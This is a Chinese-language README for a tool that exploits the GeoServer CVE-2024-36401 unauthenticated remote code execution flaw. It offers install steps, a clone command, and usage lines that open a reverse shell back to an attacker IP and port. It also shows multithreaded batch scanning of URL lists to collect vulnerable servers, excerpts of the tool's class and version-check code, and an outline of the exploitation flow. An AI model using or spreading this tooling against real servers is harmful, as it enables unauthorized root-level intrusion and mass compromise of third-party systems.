GeoServer CVE-2024-36401 RCE Exploit
GeoServer 是一个开源 Java 地理空间数据服务器。本工具针对 CVE-2024-36401 漏洞,允许未经身份验证的攻击者通过不安全 XPath 表达式评估实现远程代码执行。
功能特性
- 远程代码执行:通过精心构造的 POST 请求发送恶意 XPath 表达式,在目标系统上以 root 权限执行任意命令
- 反向 shell 支持:自动建立反向 shell 连接,获取远程系统控制权
- 批量漏洞扫描:支持从文件中读取多个 URL 进行并发扫描,快速识别脆弱目标
- 代理支持:支持通过 HTTP 代理进行漏洞利用和扫描
- 多线程扫描:可配置线程数,提高批量扫描效率
- 版本检测:自动检测目标 GeoServer 版本是否为脆弱版本
- 自定义绑定:支持自定义监听绑定的主机和端口
安装指南
系统要求
- Python 3.6+
- 网络连接(用于发送 HTTP 请求和接收反向连接)
依赖安装
使用 pip 安装所需依赖:
pip install requests rich-click alive-progress pwncat packaging urllib3
获取工具
git clone https://github.com/Chocapikk/CVE-2024-36401.git
cd CVE-2024-36401
使用说明
命令行参数
| 参数 | 简写 | 类型 | 描述 |
|---|---|---|---|
--url | -u | TEXT | 目标 URL |
--remote-ip | -ip | TEXT | 接收反向 shell 的 IP 地址 |
--remote-port | -rp | INTEGER | 反向 shell 的端口 |
--bind-host | -bh | TEXT | 本地监听绑定主机 |
--bind-port | -bp | INTEGER | 本地监听绑定端口 |
--proxy | -p | TEXT | HTTP 代理 URL |
--check | -c | TEXT | 包含 URL 列表的文件路径 |
--output | -o | TEXT | 漏洞 URL 输出文件 |
--threads | -t | INTEGER | 扫描线程数(默认:10) |
单目标利用
对单个目标进行漏洞利用并获取反向 shell:
python exploit.py -u http://target.com:8080 -ip 192.168.1.100 -rp 4444
使用代理:
python exploit.py -u http://target.com:8080 -ip 192.168.1.100 -rp 4444 --proxy http://127.0.0.1:8080
自定义监听绑定地址:
python exploit.py -u http://target.com:8080 -ip 192.168.1.100 -rp 4444 --bind-host 0.0.0.0 --bind-port 5555
批量漏洞扫描
扫描多个 URL,识别存在漏洞的目标:
python exploit.py --check urls.txt --threads 20 --output vulnerable.txt
核心代码
GeoServerExploit 核心类
class GeoServerExploit:
def __init__(
self,
url: str,
remote_ip: str,
remote_port: int,
bind_host: str = None,
bind_port: int = None,
proxy: dict = None,
threads: int = 1,
):
self.url = url.rstrip("/") if url else None
self.remote_ip = remote_ip
self.remote_port = remote_port
self.bind_host = bind_host if bind_host is not None else remote_ip
self.bind_port = bind_port if bind_port is not None else remote_port
self.proxy = proxy
self.threads = threads
self.payload_delivered = False
self.listener_event = threading.Event()
版本检测方法
def detect_version(self, url: str) -> bool:
"""
检查目标 URL 是否运行存在漏洞的 GeoServer 版本
"""
version_path = "/geoserver/web/wicket/bookmarkable/org.geoserver.web.AboutGeoServerPage"
full_url = url.rstrip("/") + version_path
try:
response = requests.get(
full_url, timeout=10, verify=False
)
# 版本解析和漏洞判断逻辑
# 脆弱版本:< 2.23.2, 2.23.6, 2.24.0-2.24.3, 2.25.0
# ...
彩色输出方法
def custom_print(self, message: str, header: str) -> None:
header_colors = {
"+": "green", # 成功信息
"-": "red", # 错误信息
"!": "yellow", # 警告信息
"*": "blue", # 普通信息
"~": "magenta", # 分隔信息
}
header_color = header_colors.get(header, "white")
formatted_message = click.style(
f"[{header}] ", fg=header_color, bold=True
) + click.style(message, bold=True, fg="white")
click.echo(formatted_message)
漏洞利用流程
- 版本检测:访问 AboutGeoServerPage 获取版本信息
- Payload 构造:生成包含恶意 XPath 表达式的 POST 请求
- 命令执行:通过 OGC 请求参数注入命令
- 反向 shell:使用 pwncat 建立监听并获取 shell
- 多线程扫描:使用 ThreadPoolExecutor 并发扫描目标列表
漏洞详情
- CVE 编号:CVE-2024-36401
- 影响版本:< 2.23.2, 2.23.6, 2.24.0-2.24.3, 2.25.0
- 漏洞类型:远程代码执行 (RCE)
- 攻击复杂度:低
- 权限要求:无
- 用户交互:无
输出示例
成功利用后,攻击者将获得目标系统的反向 shell 访问权限,可执行任意系统命令。工具会实时输出漏洞检测、Payload 发送、shell 建立等各阶段的状态信息。 6HFtX5dABrKlqXeO5PUv/1bw5fsGQja4GPCbP5uIYew=